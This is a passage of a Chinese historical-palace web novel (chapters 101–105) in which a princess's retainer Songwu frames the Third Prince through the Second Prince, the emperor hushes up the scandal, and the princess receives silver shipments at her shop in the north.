他清楚自己的弱势与优势，为了让殿下产生怜惜，他不断利用自己，他很清楚殿下这个时候的溺爱，知道殿下不会舍弃自己。
也从此，一发不可收拾。
竹临和梅辛的存在，松芜心中占有欲更盛，他迫切想要夺取她的目光，证明自己在她心中的地位。
他做坏事，是出于一种报复的心理，报复那两个人，报复明珠。
——您不是心疼他们吗。
直到殿下把他赶走，松芜才如梦初醒。
在北境的时候，他倍受煎熬，辗转难眠，甚至有时候，会怨恨她。
他并非被嫉妒蒙蔽，觉得殿下是为了那两个小崽子抛弃他，可他依旧委屈，连他自己都未察觉出，自己何时被娇养出来了小脾气。
而这些情绪，也会在他收到长公主殿下来信时，立刻烟消云散。
从戎狄回来之后，他不敢冒进，刻在心里面的那种不安和恐惧一直在。
面前的这个人，他以为自己能抓住，但他发现离得越近，对方就会跑的越快。
对此，他十分胆怯，心里没底。
在戎狄时，松芜染上了烟瘾，回来之后殿下说她不喜欢，要他戒掉。
松芜乖乖听话，心中不免窃喜，殿下这是关心他，为他着想。
但当他听到北境传来的消息，又开始焦虑不安。
作为同性，松芜对董向阜心有嫉妒，他与他们身份太过悬殊，因此他从来都不敢妄想，将自己视为长公主殿下匹配的对象。
他总会忍不住去想，殿下会喜欢什么样的人，她最后会选择什么样的人。
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明珠问他信不信一见钟情时，他本该作答，也无处可犹豫。
可他难以启齿，身不由己地抗拒。
他不禁想，回答之后殿下会作何反应，他不敢猜测这个问题背后有着什么故事，这个故事的男主角又是谁。
他如今重回她身边，可那些和他毫不相干的岁月里，她身边站着谁，她在对谁笑。
无论是谁，他都嫉妒的发疯。
所以，即便明珠坦言不会接受董向阜，可他依旧难安。
那些乌合之众的言谈，令他生厌。
长公主殿下与董向阜将军，是否如外人所言般配，松芜不愿承认，却又忍不住去想。
倘若他有董向阜那样的家世地位，容貌气度，会不会结局就不这么可悲。
松芜折断了烟杆。
是对流言的泄愤，对自己的鄙夷自弃，对家世显赫男性的刻薄嫉恨，对这份感情的无力心酸，也有对明珠的心虚。
远隔千里，殿下对自己本就有些生疏，如果还抽烟的话，就更不讨她喜欢了。
更何况，比起他，殿下本来就更和妹妹们亲近。尤其是小妹，狗皮膏药似的贴在殿下身边，占尽了便宜。
也是因此，菊若时常欺负她，松芜冷眼旁观，未置一词，他私心想着——
活该。
他们兄妹三人的感情，其实也就仅限于彼此关照的默契，同父同母的关系，会对方困顿时伸出援手，同样也会心安理得地利用对方。
很小的时候，他们就被抛弃，被送到青楼里面去接受日复一日的规训，他们对于感情，都是很浑浊的，认为其中夹杂着私欲，还有龌龊的心思。
在那个地方，即便是花魁，得到的只是贪婪的欲望，也不会有很多爱。
自从遇到她，一切都变得不一样。
她给予的爱，对于他们是一种奢侈，他们对此上瘾，贪恋，妄图独占，不愿分享。
“穷人遇到天降横财，只会一心私藏，我为人吝啬，即便是骨肉同胞，也不想给。
“您是我找到的，不是她们。”
101.忍一时越想越气
北境，温泉别院中。
明珠裹着貂裘，看向站在院子里的董向阜，笑意勉强。
这才过了几天，明明她还没有从丢人的阴影里走出来……
为什么，这个人这么快就又出现了？！
董向阜亦是满脸不情愿，却不得不前来交差。
“殿下，陛下将您的新春贺礼送至军营，臣特来转交。”
老爹还真是气氛组，生怕自己女儿体验不到尴尬窘迫的处境。
“还有这些，”董向阜从怀中掏出几封信，说道，“都是京中来信。”
“噢？”
明珠来了兴致，她接过来，其中有一封，上面写着——“董兄亲启”。
“这封，是将军的吧。”
手感、材质，与苏景荷那封别无二致。
“是怀安给你的？”
董向阜接过，看到熟悉的字迹，将信收进衣襟。
“的确是他，臣失察。”
“不碍事。想来，苏家兄妹已经回京了。”
先前，苏家老祖母年事已高，又思念孙辈，苏家兄妹回乡尽孝。
苏景荷在老家待了小半年，苏怀安因在翰林院就职，只七月后告假了两月，如今估计已经返京。
“对了，怀安回老家没被催婚吗？”明珠打趣道。
兄妹俩从到那里就开始被唠叨，相亲的帖子堆成小山。
“苏家祖母是有这个打算，之前怀安来信，说家中替他相看了几位，他深感惶恐。”说起好友，董向阜语气软了些，表情也变得自然。
“惶恐？”明珠颇有些幸灾乐祸，忍俊不禁道，“他苏大公子居然还有惶恐的一天。”
“怀安与臣不同，尚书大人夫妇感情深厚，怀安自幼所求一生一世一双人。”董向阜话语一顿，忽而说道，“比起臣，或许他更合乎殿下心意，殿下若有意于他，臣也愿成人之美。”
“……”
明珠眯起眼睛。
眼下被抓着把柄，不是和董向阜硬碰硬的时候。
忍一时，风平浪静。
……
——说什么屁话呢？
——性缘脑吧，这人。
——亲爹都不操心，用得着你在这给我保媒拉纤？你被拒就你兄弟来，什么意思，肥水不流外人田？
在心里吐槽了个遍，明珠才对董向阜淡淡一笑。
“将军，我与怀安乃是君子之交，将军莫要会错了意。”
忍吧，迟早变成忍者神龟。
送走董向阜，明珠一封封拆开信件。
除了新年祝辞，就是京中近况汇报，来信众人中有一人，出乎明珠意料。
“李凌泽也来信了。”
“三皇子？”兰萤疑惑道，“殿下临走前，可有向他交待过什么吗？”
“说让他替我盯着点宫内，还挺尽职。”
三皇子信中所禀告，也正是年前那物议如沸的重磅新闻——三王和齐侯的爱恨纠葛，他们俩整日到御书房闹，弄得阖宫皆知，鸡犬不宁。
后来齐侯被袭击，重伤卧病，宫里惠妃差人回去了好几趟，山参补药小山似的，一座一座往侯府移，却总不见消息传来宫中，只说在静养。
看完信，明珠不免有些担忧。
“这事惊动朝野上下，说不定过完年，大家串完门，恐怕整个大梁都要传遍了。”
“京城那边可有交代？”兰萤问道。
此等疯癫的昏招，一看就是大哥的手笔，这人表面精明，头脑发昏时，却极易冲动行事，顾头不顾尾。
当年如此，如今还是如此。
他这般不留余地，恐怕是已经猜测出刺杀之事。
兰萤看向明珠，殿下当初要她瞒着京城，她虽照做，却也清楚，兄姐一心系在殿下身上，任何风吹草动都免不了惊动他们。
尤其当时，信去的那样快、那样急，怎么会不令人起疑。
“没有，”明珠摇头，“松芜和菊若的信里没提这事。”
菊若信中两张，一张只说了伤残将士的补助金之事，她已着手准备，由月记发送北境，因其数额巨大，雇佣了京师赫赫有名的同兴镖局押送。
另一张……
老脸通红，不说也罢。
不过，很是公私分明。
松芜寄来的那封，就是些嘘寒问暖的问安，正事一字未有。
谁叫这孩子平日里，尽做些不为人知的坏事。现如今，无论宫内宫外都紧盯着，万一传信被发现，松芜难逃罪责。
“可局面如何了结，他们就不给个说法吗？”兰萤因此事憋着气，恼火道，“齐家不会善罢甘休，三王也会想方设法洗清嫌疑，到时候事发，难道要殿下给他们收拾烂摊子？”
“别着急，会有办法的。”明珠拉过她的手，安抚道。
兰萤说得有理，这如履薄冰的处境，若无法化解，被发现是迟早的事。
根据洛卡德物质交换原理，只要实施犯罪，就会产生物质交换。
即使古代的刑侦手段不比现代，可此事并非天衣无缝，齐家那群菜瓜当局者迷，旁人却是能一眼看清其中蹊跷。
三王手
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底下也并非皆是庸碌之辈，更何况他们闹到御前，皇帝不知是她手下人所为，也不知三王设计谋害她，为平息事端，定会下令彻查。
还真是，不好收场。
“决不能让齐家和三王同仇敌忾……”明珠思忖道，“此事由皇帝出面弹压，偏袒三王，勒令齐家罢手，才能让松芜脱身。”
幸好，如果她开口，皇帝还是会遵从她的意愿，只是三王那里被平白针对冤屈，恐难以接受不了了之的结局，若他态度坚决，反而不好平息。
得想个办法，让三王闭嘴，咽下这个哑巴亏。
“之前那次刺杀瞒着宫里，一来是怕皇帝忧心，二来，三王树大根深，若拆穿行刺之事是三王所为，皇帝势必问责，届时三王狗急跳墙，我担心皇帝安危。”
他们初来乍到，身边哪些人可信，哪些人不可信尚未分辨，断然处决一位位高权重的王爷，后果难以预料。
皇帝一道定罪诏书下去，表面上干脆利落地处置了，实则风险极高。
就三王先前做的那些烂事，以孤儿稚子开办地下斗兽场，诱骗良家妇女为瘦马，桩桩件件，没有什么事是他做不出来。
而且，三王在亲贵大臣中人脉甚广，身边狗腿子不少，定罪诏书一下，那些人万一也撂挑子，机构停滞，受罪的就不止三王一人了。
明珠不明白，听宫人提起，之前皇帝性子颇为强势，为何眼睁睁看着三王坐大到这般。
当真是顾念同胞亲情？
那皇帝也挺没底线的。
“不能清算，敲敲他的竹杠也好。”
“那您是打算，将三王行刺之事告知陛下吗？”
“说，但不能全说。”
先让皇帝将视线转移到她身上，自家火烧眉毛，哪有功夫管别人家的事。
这么大的把柄被拿捏，三王看在眼里，必定心虚。
“只是京中还有一个人，我不放心。”
兰萤心领神会道，“二皇子。”
“对，他若是要插手，替三王鸣冤，借机再次拉拢三王，可不好办了。”
“我觉得二皇子没有那样的胸襟，能再度接纳三王。”
“要是那样就好了。”明珠笑道。
她提起笔，斟酌了半晌，写好了给皇帝的信，兰萤见她又拿起一个信封。
“您还要给谁回信吗？”
“松芜留在京，我始终不放心。”明珠说道，“兰萤，我想着，让他暂避风头。”
听对方心软的口吻，兰萤皱起眉头。
“您想让他来北境？”
102.千与千寻
京城，九方赌馆内。
今日迎来一位贵客，松芜躬身，为对方斟茶。
“殿下肯屈尊前来，小人不胜感激，先以茶代酒，敬殿下一杯。”
“这前年才开张的九方赌馆，如今便已门庭若市，松掌柜经营有方。”
松芜恭顺颔首，面上仍是一副虚伪笑意。
“殿下过誉，此处乃地下赌场旧址，小人不过是画虎不成反类犬，幸而京中贵人们图个新鲜，小人弄些个小玩意儿，博大家一乐。”
“不仅如此，”李凌霄打量着眼前这个羸弱男子，说道，“听说，京城黑市，松掌柜也分得一杯羹啊。”
“二皇子殿下火眼金睛，小人那点小买卖恐入不了您的眼。”
李凌霄目光探究，瞧这人的反应，倒像不怕他知道。
昨日宫中传信，说九方赌馆的松掌柜邀他今日于此一聚。
这个人，李凌霄从未听说过。
事有蹊跷，他连夜派人彻查，挖清此人来历。
赌馆、黑市，此人涉足之地，皆不为常人可知，而此人的身份，也同样如此。
“说起来，京城中何时出了你这号人物，本殿下竟全然不知。”
李凌霄摆弄着手中的茶杯，恍若闲谈。
“你并非奴籍，‘松芜’一名，官府在册也仅于永安二十年记档，同年年末创办九方赌馆。
“赌馆开张之前，你便已涉足黑市，除了贩卖违禁物，其他则是情报，松掌柜在这大梁京都吃得开，自然，也参与了不少事吧。”
松芜静静听着，心中毫无波澜，打定主意请二皇子来时，他便料想过自己会被调查个底儿掉。
“行事如松掌柜般诡谲，你的出身，还真是令人琢磨不透。”
“哈哈，哪有殿下说的那般玄乎，仿佛小人是从石头缝里蹦出来的妖怪。
“小人一介布衣，命如草芥，混迹于贵胄云集之地，讨口饭吃，贵人们愿意施舍，丢个仨瓜俩枣，便是小人的无上福泽了。”
“是吗。”
李凌霄抿了口茶，目光犀利。
“你既然有本事在宫中递话，想来有些手段。
“如今京中诸事纷杂，我回京不过数日，松掌柜便传信邀我前来，莫不是身为始作俑者，心中难安，想托本殿下替你消灾。”
二皇子比三王有头脑，与聪明人说话轻松，可要算计聪明人，就得花些心思了。
“不愧是二皇子殿下，小人敬服。”松芜笑道，“此番斗胆相邀，确实有心，求借殿下这股东风。”
被此人的厚颜无耻噎住，李凌霄冷笑一声。
“松掌柜足智多谋，齐家和王府都被你耍得团团转，毁我外祖灵位，致我舅舅伤残……
“现如今，却敢叫本殿下相助于你，松掌柜，可还认得‘得寸进尺’四个字。”
松芜不紧不慢，替李凌霄满上茶水。
“殿下这样说，真是折煞小人了，京中高山耸立，各路神仙斗法。
“小人初来乍到，哪有移山倒海的本事，夹缝求生，难以喘息，万般无奈这才出此下策，还望殿下恕罪，宽宥一二。”
黑市一向是三王的地盘，这也是为何即使齐家心有不满，李凌霄也依旧与此人相交，重要的并非获得三王助力，而是不受其暗算。
眼下，有人妄图取而代之，谋划算计，也是情理之中。
“所以，你就借齐家打压三王，想以此垄断黑市。”李凌霄嗤笑一声，说道，“虎口夺食，松掌柜当真骁勇。”
“殿下此言，小人权当夸赞了。”
“不过，你究竟是为了三王，还是齐侯？”
自从李凌霄亲眼所见齐宗伤势，他一度以为背后主使与齐侯必定仇怨滔天，下手如此狠绝，所针对的，必定是齐侯。
“小人对齐侯怎会有不敬之心。”
松芜垂眸，掩下眼中鄙夷之意，故作温顺。
“生意场上，尽是些你死我活的买卖，三王的手段想必殿下清楚。
“王爷嘛，随性潇洒，爱憎分明，小人对齐侯心有惋惜，却也爱莫能助。”
嘴里说尽好话，心中布满算计。
这作派，李凌霄觉得熟悉，端详着眼前之人，犹如对镜自照。
如今，他与三王决裂，起码登基前，他不会再信任三王。若能借别人之手，削弱三王势力，于他而言，也算是有利。
而且，此人行事颇为离经叛道，倒合了他的心意，今后有些事，他不便做，有此人在就多一重选择。
“松掌柜，打算如何做？”
听对方这语气，松芜心下了然。
“听闻城西的庄户那里，被发现丢弃的几把武器，外形奇特，不像是京中寻常兵丁所用，倒像是当初进京的那帮戎狄外族所佩，上面沾满了血迹残骸，甚是可怖。
“此前，小人偶然得到一纸口供，上面竟说了，当初围场秋狝，三王爷就与戎狄外族勾结，私下图谋。”
松芜从袖中取出口供呈上，正是“假鬼方祂”所招认的那份。
“小人本不愿多心，只是您也知道，京中大事错综复杂，小人愚钝，还望殿下为小人解惑。”
这一手栽赃，证据齐备。
李凌霄扫了一眼便放下，说道，“你这是让
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我帮你，害自己的王叔。”
“三王已然倒戈，目光短视，对殿下不忠不义，殿下何等英明，弃明投暗，就连小人都为三王此举不齿。”
松芜说的义愤填膺，一副心有不平的模样，李凌霄冷眼瞧着，心想此人装相功夫了得。
“可若将三王牵涉其中，父皇不会坐视不管，即便有人出言告发，此事最终多半不了了之。
“日后，齐家与三王针锋相对，水火不容，落于下风的未必是三王。”
齐家虽难缠，但实力到底不比三王，无非是出些浑招，搅扰安宁，可若是三王对付起齐家，齐家将防不胜防。
“恕小人多言，殿下无需顾虑，无论哪一方落败，都于您有益。”
“都有益？”李凌霄挑眉，“未见得吧，齐家乃我外祖一族，与我是斩也斩不断的亲缘血脉，休戚相关，共荣共损，他们若失势，与本殿下何益？”
“齐家已非当初的齐家，为了将来着想，当断则断。”松芜语重心长道，“今后，小人便是殿下的马前卒，凡事必然对殿下坦然，才斗胆出言相劝。”
此人话中有话，李凌霄不免心生疑窦。
“齐家，有何事？”
“殿下有所不知，齐家之灾，早已埋下祸根，哪怕是二皇子殿下您，也难解分毫。”
李凌霄神色凝重，齐家那些人各个行事狂悖，倘若有何不为人知的罪责，的确是不小隐患。
“齐家到底是门阀显贵，有何难解。”
松芜似笑非笑，玉白的指尖摩擦，一点点碾碎手中残余的茶渣。
“镇国公之死，与齐侯有关。”
“什么？！”
李凌霄没绷住，脸上霎时变颜变色，屏息片刻，才又稳住心神。
“你可有证据？”
“殿下莫急，证据自然在它该在的地方，小人不过是对此略知一二。”
李凌霄沉默半晌。
“你所求，本殿下答允。”
“多谢殿下，”松芜心满意足，俯首叩拜，“小人今后定为殿下马首是瞻，以报殿下帮扶提携之恩。”
今日一行，李凌霄思绪万千。
临走前，他停住脚步，看向身后那人。
“我还有一问。”
“殿下请讲。”
“你，到底是何人？”
他是何人？
除了被长公主殿下烧毁的贱籍上，便只剩下内廷司的造册中，他出宫前，也已私下销毁。
这世上，再没有那个名讳。
松芜勾起嘴角，眼中笑意冷淡。
“贱命一条，不足挂齿。”
103.百口莫辩
三王府中，早起三王就一副心事重重的模样，王妃瞧着自家王爷，两条眉毛拧着，脸上的皱纹写满了愁思。
她出言宽慰道，“王爷，您放宽心些，不是还有曲少卿为王爷查案嘛，他的本事您是知道的，连经年的盗贼都能查出些蛛丝马迹，用不了多久，定会查清幕后主使。”
“可本王这心里，总不对劲。”
眼前桌上，摆满了热气腾腾的饭菜，都是素日里他爱吃的，三王却一点胃口都没有。
那一夜义庄密谈，二人最终不欢而散，他虽在李凌霄面前矢口否认，事后却不免心虚。
万万没想到，自己派出的杀手居然伤了李凌霄，三王不禁替自己捏了一把冷汗，倘若李凌霄死了，先不说齐家必定和他拼命，就连皇兄都难再庇护他。
一想到此处，三王不免焦虑。
“早知如此，就不该听信田康的谗言！”
说什么斩草除根，只要白念被射杀，他们便死无对证，平云庄之事只需一口咬定是他们栽赃，白乾那里也没有证据是他所为，便可撇清关系。
可白念非但没死，反而伤了二皇子，属实是搬起石头砸了自己的脚。
“王爷别恼，田康也是一心为着王爷，他打小就跟着王爷您，没有功劳也有苦劳，纵然有办事不利的时候，到底对王爷您忠心耿耿，王爷消消气，别跟他一般计较。”
“你不知道他捅了多大的娄子！他——”
三王眉头一紧，还是止住了话头，深叹一口气。
“算了算了，事已至此，就算杀了他也无济于事。”
三王方拿起筷子，又悻悻放下。
“你说，李凌霄会不会倒打一耙，跟齐家沆瀣一气污蔑本王？”
“王爷别担心，伤的究竟是齐家人，纵使二皇子与王爷心生龃龉，终究还是会为他亲舅舅查明真凶，否则这伙人在，他也难以安心不是吗。”
“对，王妃说得有理……”
三王稍稍安心，却仍未动碗筷。
“王爷，”王妃接过瓷碗，为三王盛了碗粥，“为这您这几日食欲不振，杉杉特地为您熬的，看在女儿的面上，还请王爷用些吧。”
“……好吧。”
粥还未入口，下人火急火燎地进来禀报。
“王爷，陛下急召，要您进宫面圣。”
铛！
三王猛地撂下粥碗，心中生出一股不祥。
马车行驶在官道上。
一炷香的功夫，三王走进御书房，行完礼，眼觑着书案后的皇帝，余光扫向站在一侧的二皇子。
“皇兄召臣弟前来，所为何事啊……”三王惴惴不安道。
自打三王进门，皇帝的脸色就臭着，今日一早二皇子就来求见，原想着是齐家那件事查出了什么线索，却没想到新账连着旧账，一起翻算出来。
“齐家的事，朕会撤销查办，大理寺那边也会派人通知。”
“那怎么行，不查如何还臣弟清白！”
“清白？”
皇帝将手中的口供摔向三王，没好气道，“你看看这是什么？”
三王疑惑，捡起来那张纸打开。
“这是……”
三王浏览过那纸上的内容，眼睛不由瞪大，忙看向皇帝。
“皇兄，这、这是从哪儿来的？！”
“那几个侍卫都已经招认，当初是你让他们换班时滞留，为戎狄人打掩护，助他们接近长公主营帐，你是何居心？！”
三王扑通一声跪在地上。
“皇兄，臣弟这么做都是为了大梁啊！若不如此，如何借机打压戎狄！”
“那戎狄人何等狡诈，胆敢算计我大梁皇室，臣弟是将计就计，为一举揭露他们罪行啊！
“皇兄明鉴，当时臣弟早已布下埋伏，只等戎狄人落网，谁承想他们奸计未遂，臣弟才中途撤出，皇兄若是不信，只管传召三王府的亲卫！”
听了三王的辩白，皇帝面色稍有缓和。
李凌霄冷眼旁观，自己这位王叔还真是能信口胡诹，反正如今死无对证，他空口白牙，说什么都行。
“谅你也不敢谋害长公主。”
三王松了口气，“皇兄英明！”
“可你与戎狄人勾结是事实，昨日刑部查出，打伤齐侯的那伙人，多半来自戎狄，这你作何解释？”
“什么？”
一波未平一波又起，膝盖跪得生疼，三王也顾及不上。
“臣弟不知啊！”
“不知？”皇帝怀疑道，“齐侯常在京中，和戎狄人又没有什么瓜葛，他们为何平白无故伤人，难道不是你怀恨在心，又联系上他们，打算给齐侯一个教训？”
“？！”
三
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王瞪大了眼睛，眼见这屎盆子往脑袋上扣，险些急得晕过去。
“皇兄——！”三王喊道，“这都是臆测啊，此事真不是臣弟所为啊！！”
三王视线一转，恶狠狠地指向李凌霄。
“皇兄，二皇子与戎狄也有勾结，猎场之事便是由他为臣弟牵线，若说嫌疑，二皇子也逃不了！！”
李凌霄面色如常，俯视着跪在地上的三王，笑含讥讽。
“王叔，事到如今，胡乱攀咬也并非良策。”
李凌霄移步，对上位施礼道，“父皇明鉴，齐侯乃是儿臣的亲舅舅，儿臣断不会行此悖逆之事。”
“你放心，朕心里有数。”
眼见皇帝并不动摇，三王又急忙为自己脱罪。
“皇兄，此事若是臣弟所为，岂非太过明显，这些时日，臣弟配合大理寺查案劳心劳力，为的就是查明真相，还自己一个公道啊！！”
一旁，李凌霄开口反驳。
“这些时日，除了一个不见踪迹的江洋大盗，王叔可还查出些什么？”
王叔，你不仁，就休怪侄儿不义了。
“我看这京城内，也就王叔有手段，能请动销声匿迹的江洋大盗出山，还能在事后将其藏匿。”
“你血口喷人！本王为何要做这等下作之事？！”
“王叔与齐家一向不睦，当年更是在齐宇舅舅的葬仪上出言不逊，可见对齐家怨恨已久，若非郡主生辰贵客云集，即使王叔私藏牌位，想必也难为外人所知吧。”
“你——！！”
皇帝见又要吵起来，忙拍桌案。
“够了。”
三王毕竟是他名义上的亲弟弟，常来常往的，关系还不错，真要是治罪，还真有些抹不开情面。
“齐侯那边，朕尽量为你们说和，但你自己总得有点表示。”
“啊？！”
三王满脸震惊，自己怎么就被草率定罪。
“不，这、凭什么啊？！”
“此事到底因你而起，无论如何你也要担责，回去吧，此事以后不要再提了。”
“皇兄不可啊！臣弟是当真冤屈，此事若不彻查到底，齐家那边必定纠缠不休啊！”
“可——”
御书房外，侍卫来报。
“陛下，北境派人传报，长公主殿下在外遭遇刺杀！”
104.顾全大局
听到侍卫的传报，皇帝腾得从椅子上站起，快步从他们二人中抽身出来。
李凌霄闻言，慌神了一瞬，随后猛地看向三王，三王亦是满脸惊慌，若不是碍着身在御书房，他差点脱口而出——“这次真不是我干的！”
“什么？！怎么回事？！”皇帝直奔传信的侍卫，急道，“公主怎么样了！！”
“回禀陛下，这是长公主从北境发来的传信！”
皇帝慌忙抽出信件，看了几行后，松了口气。
“父皇，可是北境出了什么事？”李凌霄上前问道，“长姐如何了？”
“没事，不是在北境，公主说是在定州地界时遭遇刺客，没有受伤。”
尽管如此，皇帝依旧难安，急躁道，“怎么会有刺客呢，真是胆大妄为！！”
三王打了个哆嗦，跪在地上，缩得像只鹌鹑。
“福安、福安！”皇帝唤来御前太监。
“奴才在！”
“去，派人去查，定州哪儿来的刺客，竟敢刺杀公主？！”
“嗻，奴才这就让他们去查！”
既然是在押运途中遭遇的刺杀，按理说，二皇子也应该知情。
皇帝看向身旁的李凌霄，目光审视。
“这件事，你知不知道，你回来之后怎么不说？”
心中盘算好措辞，李凌霄跪下请罪。
“父皇恕罪，儿臣并非故意欺瞒，此事事关重大，长姐严令不可走漏消息，待事态稳定，再由她亲自告知父皇。
“故而儿臣回京后，不敢擅自向父皇提起，恐误了长姐筹划，拖累长姐。”
“这样啊……”皇帝抿了抿嘴，“你起来吧。”
“谢父皇宽恕！”
皇帝回过头，才发现三王还瑟缩地跪在地上，偷偷用手揉着膝盖。
“怎么还跪着，起来吧。”
“是……”
三王被太监搀扶着，才勉强站起身来。
一看到三王这样子，皇帝就不免心烦，捅了这么大篓子，到最后还是要他来收拾烂摊子。
“大年下的，事情也多，你们俩都先回去吧。”
“皇兄……”
三王颤颤悠悠站着，似乎还想说些什么，却被皇帝拦住话头。
“这之后，你还是少出门吧，你和齐侯年纪也都不小了，这又不是什么光彩的事，能避则避，省得大过年让老百姓看笑话，等齐家那边消停了，你也安生不是吗。”
李凌霄附和着。
“是啊，王叔，先不说您与戎狄勾结的事实，还有谋害齐侯的罪证，这桩桩件件，父皇已替您挡下。
“如今长姐遇刺之事要紧，宫内外查案人手有限，必要顾此失彼，孰轻孰重，王叔您可要顾全大局，替父皇分忧。”
三王张了张嘴，注意到皇帝眼中的不耐，还是咽下了话。
“……是，臣弟遵旨。”三王蔫着脑袋，闷声道，“臣弟告退。”
皇帝满意地点点头，又看向二皇子，说道，“凌霄啊，齐家那边还得你多安抚啊，等过完元宵再回北境吧，多陪陪你舅舅。”
“儿臣遵旨，”李凌霄行礼道，“那儿臣也告退了。”
殿外，三王与李凌霄并肩而行，他跪得膝盖又疼又麻，挪着比走得快。
李凌霄却也在一旁，不紧不慢。
“王叔，可需侄儿为您传轿辇。”
三王一瘸一拐地走着，“用不着装腔作势，你把脏水都泼到本王身上，等着吧，本王必得抓到那只老鼠，到时候你和齐家休想抵赖！”
九方赌馆内，伙计匆匆赶往茶室。
“信送到了吗？”
松芜半倚在凭几上，瞧着来人。
“您放心吧，二皇子一早进宫，我们都紧盯着呢，后来三王被传召，小的就寻机把信送进宫了，必赶得上。”
“那就好。”
想来如此，三王在御前也无话可说，什么事都做不干净，拖泥带水，三王手下的人和他家主子一样，成事不足败事有余。
松芜抚摸着手中的信函，眼中戾气消散。
他拿起桌上那一袋银子，抛给那人，笑道，“这几日辛苦，拿去给兄弟们买酒吃吧，你再替我多跑趟醉仙楼，把他们掌柜叫来。”
“多谢松掌柜！！”那人接在怀中，甚有分量，喜笑颜开道，“小的这就去！”
不多时，茶室的门被推开。
未见其人，先闻其声。
“烦死了，你把我叫来干嘛？”
年节下，许多达官贵人订了酒桌席面，身为掌柜总要去招呼应酬，这会儿
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被无端叫来，菊若边走边抱怨着。
“正是忙的时候，一会儿酒楼该上人了，你有正事没有啊？”
松芜晃了晃手中的信函，“殿下来信了。”
“真的？！”菊若惊喜道，“说了什么？”
变脸变得真快啊。
松芜吊着她胃口，慢悠悠掏出信纸，虽然内容早已烂熟于心，却还是在菊若面前，故弄玄虚地看了一遍。
“殿下说，担心我应付不了局面，让我去北境找她，暂避风头。”
“呵，”菊若嗤笑一声，“你瞧你那窝囊样，殿下都看不下去，出来给你托底。”
横竖忙里偷闲，菊若拿过蒲团坐下，拎起茶壶给自己沏上茶。
“然后呢？”
“没了。”
“没了？”菊若瞪大眼睛，疑惑道，“就、就说了这些？”
“嗯。”
松芜理所当然地点了点头，还将自己的茶杯推近，示意给他也倒上。菊若剜了他一眼，直倒得溢满推还过去。
“那你把我叫来干吗？”
“听殿下如何关心我。”
“你真不是个东西！”菊若翻了个大大的白眼，“那你去吗？算了，当我没问，你恨不得插上翅膀飞过去吧。”
看他不言语，脸上也不见喜色。
菊若眉头微皱，问道，“你不会，不打算去吧？”
松芜没说话，算是默认了。
菊若狐疑地打量眼前之人，这也不像是替身啊，难不成得了绝症？
“齐家和三王的案子，我借了二皇子之手，将证据呈上。
“二皇子并非三王那等货色，他调查得十分仔细，若非提前销毁了旧籍，我在他面前恐怕无所遁形。
“与虎谋皮，将来更要加倍小心。”
“这次倒是想得清楚啊，”菊若玩弄着卷曲的发，漫不经心道，“也是，二皇子迟早也要回北境，若是发现了你和殿下来往时的行踪，怕也会因此怀疑，齐家之事是由殿下主使。”
菊若颇有些幸灾乐祸，分明他自己想得要命，殿下那里还递了台阶，现下为顾全大局，生生砸烂在手里。
“欸，你现在是不是悔得肠子都青了。”
松芜撂下茶杯，皮笑肉不笑。
“闭嘴吧。”
105.两个大比斗
正月初六，正是热闹纷繁的时候。
一大清早，明珠就换好了衣服，现如今行动不再像之前那般艰难，只是偶有酸痛。
昨日来人传信，说京中发送的银两今早便会抵达月记门店，她要带人过去签收，运回军营再作分配。
兰萤进屋，无奈道，“殿下，药膏还没涂，您怎么就穿上衣服了。”
于是，刚穿上衣服的明珠，就又被押在床上涂药膏。
“我这都没事了……”
“谭医官说了，要涂上两周。”兰萤不容置疑道。
“可……我真的怕痒。”
关键是太羞耻了！
“嘶——”
冰凉的触感涌现，膏体沿着指尖，在身上游走。
明珠咬着下唇，眼神乱飘。
“好了吗？欸，别再……别再往上了。”
兰萤制住她反抗的手，“殿下，听话。”
“？”
兰萤起身，从匣子中取出凝胶药贴，仔细贴上。
收拾好后，明珠整理着衣服。
“我让菊若准备的汇票和银两到了，我跟梅辛先去验货签收。你和竹临去趟军营，让董向阜派些人手到月记。”
此次所用银两属大宗需求，北境票号的库存不足，只能兑换一部分，明珠便让菊若从京城再多备些银两一起送来。
“是，您出门一定要当心些。”兰萤叮嘱道。
“知道了。”
街巷上，传来烧火的味道。
家家户户，门口放着火盆，里面皆是冒着火光的衣物。窗台上，放着用柳枝和草编制成车、船样子，盛着米粮。
“这是在干什么？”明珠问道。
“这是送穷的习俗吧，今日是初六，岁时祭送穷神。”一旁的梅辛解释道，“结柳作车，缚草为船，载糗舆粻，引帆上樯。作糜，弃破衣，是日祀于巷，曰送穷鬼。”
民间相传，穷鬼是上古帝王颛顼之子。
颛顼高辛时，宫中生一子，不着完衣，宫中号称穷子。其后正月晦死，宫中葬之，相谓曰“今日送穷子。”
从那之后，穷子就成了人人害怕的穷鬼。
步入热闹的商业街区，两边商铺的门板上贴着“开市大吉，万事亨通”的大红对联，为庆祝开市，鞭炮声此起彼伏、震耳欲聋。
来到月记，店铺外停着车马，上面插着同兴镖局的旗帜，货物已然尽数卸完。
“发财发财！”
店内伙计一边吆喝，一边迎客。
“几位客官，恭喜发财！”
“招财进宝、恭喜发财。”梅辛拱手道。
见两人穿着不凡，伙计们殷勤上前。
“多谢客官吉言，您几位要点什么？”
明珠从锦囊中掏出那枚玉章，向伙计出示。
“我是来取东西的。”
柜台后的小伙计眼尖，一下便认出印章，忙不迭上前。
“原来是东家前来，小的有失远迎！”
“东家？”其他伙计这才恍然道，“诶呦，小的们有眼无珠。”
“咱们门外那些是京城来的？”明珠问道，“是我要的东西到了吗？”
“正是！镖队和货都在后院，掌柜正带着账房们查验呢，您可要去看看？”
“好，麻烦了。”
“东家客气了，请随小的来。”
后院中，明珠仿佛误入狼穴的羔羊。
一踏入便被十几名壮汉包围，这群人装束精悍，高矮胖瘦各异，有的凶悍，有的吊儿郎当，比禁军和北境军营的将士松散，却又比江湖草莽干练有序。
“掌柜的，东家来了。”小伙计喊道。
正在镖箱前清点的掌柜闻言，上前招呼，瞧过那枚玉章后，给明珠让出一条路。
“东家，这些位便是京城同兴镖局的镖师，今早方到。”掌柜介绍道，“王镖头，这位是我们东家。”
镖队的领头之人上前，朝明珠行礼。
“草民王藏，见过东家。”
明珠一怔，对方的态度很是恭敬，听他的自称，不像是对待一个店铺东家，更像是对待贵族。
她打量起此人，难不成他知道自己的身份？
可月记只凭印章行事，她的真实身份并未轻易示人，莫非是菊若交代，为了让镖局重视，还是说，他以
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前见过长公主？
收敛起心思，明珠客气笑道，“王镖头辛苦，掌柜的，若查漏无缺，从账上支出钱来，犒劳诸位镖师。”
王藏抱拳，“多谢东家。”
